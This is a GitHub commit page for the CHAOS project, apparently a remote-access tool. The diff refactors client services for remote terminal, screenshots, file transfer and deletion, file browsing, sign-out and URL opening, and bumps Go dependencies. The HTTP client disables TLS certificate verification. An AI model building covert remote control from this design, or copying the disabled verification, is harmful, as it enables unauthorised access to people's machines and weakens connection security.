Skip to content

Commit

Permalink
Merge pull request #135 from tiagorlampert/refact-2024-1
Browse files Browse the repository at this point in the history
refact and update go version
  • Loading branch information
tiagorlampert authored May 31, 2024
2 parents f1b4fc6 + c685cd8 commit eb1ffcb
Show file tree
Hide file tree
Showing 19 changed files with 363 additions and 440 deletions.
11 changes: 6 additions & 5 deletions Dockerfile
Original file line number Diff line number Diff line change
@@ -1,21 +1,22 @@
# BUILD STAGE
FROM golang:1.18-alpine AS build
FROM golang:1.22.3-alpine AS build

ARG APP_VERSION=dev
ARG CGO=1
ENV CGO_ENABLED=${CGO}
ENV GOOS=linux
ENV GOARCH=amd64
ENV GO111MODULE=on

# gcc/g++ are required by sqlite driver
RUN apk update && apk add --no-cache gcc g++
# required by go-sqlite3
RUN apk add --update gcc g++ musl-dev

WORKDIR /build
COPY . .
RUN go build -v -a -tags 'netgo' -ldflags '-w -X 'main.Version=${APP_VERSION}' -extldflags "-static"' -o chaos cmd/chaos/*
RUN go build -v -a -tags 'netgo' -ldflags '-w -X 'main.Version=${APP_VERSION}' -linkmode external -extldflags -static' -o chaos cmd/chaos/*

# FINAL STAGE
FROM golang:1.18.4
FROM golang:1.22.3

MAINTAINER tiagorlampert@gmail.com

Expand Down
3 changes: 0 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -158,9 +158,6 @@ If you enjoyed this project, give me a cup of coffee. :)

[![Donate](https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif)](https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=SG83FSKPKCRJ6&currency_code=USD&source=url)

## Sponsors
<img src="https://raw.githubusercontent.com/tiagorlampert/CHAOS/master/public/jetbrains.png" width="30" height="30" /> Sponsored by [JetBrains Open Source License](https://www.jetbrains.com/buy/opensource/).

## Copyright and license

>The [MIT License](https://github.com/tiagorlampert/CHAOS/blob/master/LICENSE)
Expand Down
31 changes: 15 additions & 16 deletions client/app/app.go
Original file line number Diff line number Diff line change
Expand Up @@ -25,34 +25,31 @@ type App struct {
}

func New(configuration *environment.Configuration) *App {
infoService := information.NewService(configuration.Server.HttpPort)

deviceSpecs, err := infoService.LoadDeviceSpecs()
if err != nil {
log.Fatal("error loading device specs: ", err)
}

httpClient := network.NewHttpClient(10)

httpClient := network.NewHttpClient()
clientGateway := client.NewGateway(configuration, httpClient)
operatingSystem := os.DetectOS()
terminalService := terminal.NewService()

clientGateway := client.NewGateway(configuration, httpClient)

clientServices := &services.Services{
Information: infoService,
Information: information.NewService(configuration.Server.HttpPort),
Terminal: terminalService,
Screenshot: screenshot.NewService(),
Download: download.NewService(configuration, clientGateway),
Upload: upload.NewService(configuration, httpClient),
Delete: delete.NewService(),
Explorer: explorer.NewService(),
OS: os.NewService(configuration, terminalService, operatingSystem),
URL: url.NewURLService(terminalService, operatingSystem),
Url: url.NewUrlService(terminalService, operatingSystem),
}

return &App{handler.NewHandler(
configuration, clientGateway, clientServices, deviceSpecs.MacAddress)}
deviceSpecs, err := clientServices.Information.LoadDeviceSpecs()
if err != nil {
log.Fatal("error loading device specs: ", err)
}

return &App{
handler.NewHandler(configuration, clientGateway, clientServices, deviceSpecs.MacAddress),
}
}

func (a *App) Run() {
Expand All @@ -68,5 +65,7 @@ func (a *App) Run() {
return nil
})

g.Wait()
if err := g.Wait(); err != nil {
log.Fatal("error running client: ", err)
}
}
2 changes: 1 addition & 1 deletion client/app/handler/handler.go
Original file line number Diff line number Diff line change
Expand Up @@ -223,7 +223,7 @@ func (h *Handler) HandleCommand() {
response = res
break
case "open-url":
err := h.Services.URL.OpenURL(request.Parameter)
err := h.Services.Url.OpenUrl(request.Parameter)
if err != nil {
response = encode.StringToByte(err.Error())
hasError = true
Expand Down
6 changes: 3 additions & 3 deletions client/app/services/services.go
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@ type Services struct {
Delete
Explorer
OS
URL
Url
}

type Information interface {
Expand Down Expand Up @@ -57,6 +57,6 @@ type OS interface {
SignOut() error
}

type URL interface {
OpenURL(url string) error
type Url interface {
OpenUrl(url string) error
}
4 changes: 2 additions & 2 deletions client/app/services/url/url_service.go
Original file line number Diff line number Diff line change
Expand Up @@ -12,11 +12,11 @@ type Service struct {
OsType os.OSType
}

func NewURLService(terminalService services.Terminal, osType os.OSType) services.URL {
func NewUrlService(terminalService services.Terminal, osType os.OSType) services.Url {
return &Service{Terminal: terminalService, OsType: osType}
}

func (u Service) OpenURL(url string) error {
func (u Service) OpenUrl(url string) error {
var cmdOut []byte
switch u.OsType {
case os.Windows:
Expand Down
3 changes: 2 additions & 1 deletion client/app/utils/config.go
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@ import (
"bytes"
"encoding/json"
"github.com/tiagorlampert/CHAOS/client/app/utils/encode"
"log"
)

type Config struct {
Expand All @@ -15,7 +16,7 @@ type Config struct {
func ReadConfigFile(configFile []byte) *Config {
decoded, err := encode.DecodeBase64(bytes.NewBuffer(configFile).String())
if err != nil {
panic(err)
log.Fatal("error reading config file: ", err)
}

configFile = bytes.NewBufferString(decoded).Bytes()
Expand Down
4 changes: 2 additions & 2 deletions client/app/utils/network/http.go
Original file line number Diff line number Diff line change
Expand Up @@ -6,13 +6,13 @@ import (
"time"
)

func NewHttpClient(timeout time.Duration) *http.Client {
func NewHttpClient() *http.Client {
return &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
},
Timeout: time.Second * timeout,
Timeout: time.Second * 10,
}
}
29 changes: 4 additions & 25 deletions cmd/chaos/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -33,11 +33,9 @@ type App struct {
Router *gin.Engine
}

func init() {
func main() {
_ = system.ClearScreen()
}

func main() {
logger := logrus.New()
logger.Info(`Loading environment variables`)

Expand Down Expand Up @@ -65,43 +63,24 @@ func main() {
}

func NewApp(logger *logrus.Logger, configuration *environment.Configuration, dbClient *gorm.DB) *App {
//repositories
authRepository := authRepo.NewRepository(dbClient)
userRepository := userRepo.NewRepository(dbClient)
deviceRepository := deviceRepo.NewRepository(dbClient)

//services
authService := auth.NewAuthService(logger, configuration.SecretKey, authRepository)
userService := user.NewUserService(userRepository)
deviceService := device.NewDeviceService(deviceRepository)
clientService := client.NewClientService(Version, configuration, authRepository, authService)
urlService := url.NewUrlService(clientService)

setup, err := authService.Setup()
if err != nil {
logger.WithField(`cause`, err).Fatal(`error preparing auth`)
}
jwtMiddleware, err := middleware.NewJWTMiddleware(setup.SecretKey, userService)
if err != nil {
logger.WithField(`cause`, err).Fatal(`error creating jwt middleware`)
}
if err := userService.CreateDefaultUser(); err != nil {
logger.WithField(`cause`, err).Fatal(`error creating default user`)
logger.WithField(`cause`, err.Error()).Fatal(`error setting up default user`)
}

router := httpDelivery.NewRouter()
jwtMiddleware := middleware.NewJwtMiddleware(authService, userService)

httpDelivery.NewController(
configuration,
router,
logger,
jwtMiddleware,
clientService,
authService,
userService,
deviceService,
urlService,
)
httpDelivery.NewController(configuration, router, logger, jwtMiddleware, clientService, authService, userService, deviceService, urlService)

return &App{
Configuration: configuration,
Expand Down
6 changes: 6 additions & 0 deletions entities/client_param.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
package entities

type ClientParam struct {
Key string
Value string
}
76 changes: 40 additions & 36 deletions go.mod
Original file line number Diff line number Diff line change
@@ -1,50 +1,54 @@
module github.com/tiagorlampert/CHAOS

go 1.18
go 1.22.3

require (
github.com/appleboy/gin-jwt/v2 v2.6.4
github.com/gin-contrib/multitemplate v0.0.0-20200514145638-4955c9347179
github.com/gin-gonic/gin v1.7.4
github.com/go-playground/validator/v10 v10.4.1
github.com/golang-jwt/jwt/v4 v4.1.0
github.com/google/uuid v1.1.1
github.com/gorilla/websocket v1.5.0
github.com/appleboy/gin-jwt/v2 v2.9.2
github.com/gin-contrib/multitemplate v1.0.1
github.com/gin-gonic/gin v1.10.0
github.com/go-playground/validator/v10 v10.20.0
github.com/golang-jwt/jwt/v4 v4.5.0
github.com/google/uuid v1.6.0
github.com/gorilla/websocket v1.5.1
github.com/kelseyhightower/envconfig v1.4.0
github.com/lib/pq v1.10.2
github.com/sirupsen/logrus v1.5.0
golang.org/x/crypto v0.0.0-20220722155217-630584e8d5aa
golang.org/x/sync v0.0.0-20190423024810-112230192c58
gorm.io/driver/postgres v1.3.10
gorm.io/driver/sqlite v1.3.6
gorm.io/gorm v1.23.10
github.com/lib/pq v1.10.9
github.com/sirupsen/logrus v1.9.3
golang.org/x/crypto v0.23.0
gorm.io/driver/postgres v1.5.7
gorm.io/driver/sqlite v1.5.5
gorm.io/gorm v1.25.10
)

require (
github.com/dgrijalva/jwt-go v3.2.0+incompatible // indirect
github.com/bytedance/sonic v1.11.6 // indirect
github.com/bytedance/sonic/loader v0.1.1 // indirect
github.com/cloudwego/base64x v0.1.4 // indirect
github.com/cloudwego/iasm v0.2.0 // indirect
github.com/gabriel-vasile/mimetype v1.4.3 // indirect
github.com/gin-contrib/sse v0.1.0 // indirect
github.com/go-playground/locales v0.13.0 // indirect
github.com/go-playground/universal-translator v0.17.0 // indirect
github.com/golang/protobuf v1.3.3 // indirect
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
github.com/jackc/pgconn v1.13.0 // indirect
github.com/jackc/pgio v1.0.0 // indirect
github.com/go-playground/locales v0.14.1 // indirect
github.com/go-playground/universal-translator v0.18.1 // indirect
github.com/goccy/go-json v0.10.2 // indirect
github.com/jackc/pgpassfile v1.0.0 // indirect
github.com/jackc/pgproto3/v2 v2.3.1 // indirect
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
github.com/jackc/pgtype v1.12.0 // indirect
github.com/jackc/pgx/v4 v4.17.2 // indirect
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect
github.com/jackc/pgx/v5 v5.4.3 // indirect
github.com/jinzhu/inflection v1.0.0 // indirect
github.com/jinzhu/now v1.1.5 // indirect
github.com/json-iterator/go v1.1.9 // indirect
github.com/konsorten/go-windows-terminal-sequences v1.0.2 // indirect
github.com/leodido/go-urn v1.2.0 // indirect
github.com/mattn/go-isatty v0.0.12 // indirect
github.com/mattn/go-sqlite3 v2.0.1+incompatible // indirect
github.com/json-iterator/go v1.1.12 // indirect
github.com/klauspost/cpuid/v2 v2.2.7 // indirect
github.com/kr/text v0.2.0 // indirect
github.com/leodido/go-urn v1.4.0 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/mattn/go-sqlite3 v1.14.22 // indirect
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.1 // indirect
github.com/ugorji/go/codec v1.1.7 // indirect
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1 // indirect
golang.org/x/text v0.3.7 // indirect
gopkg.in/yaml.v2 v2.2.8 // indirect
github.com/modern-go/reflect2 v1.0.2 // indirect
github.com/pelletier/go-toml/v2 v2.2.2 // indirect
github.com/twitchyliquid64/golang-asm v0.15.1 // indirect
github.com/ugorji/go/codec v1.2.12 // indirect
golang.org/x/arch v0.8.0 // indirect
golang.org/x/net v0.25.0 // indirect
golang.org/x/sys v0.20.0 // indirect
golang.org/x/text v0.15.0 // indirect
google.golang.org/protobuf v1.34.1 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
)
Loading

0 comments on commit eb1ffcb

Please sign in to comment.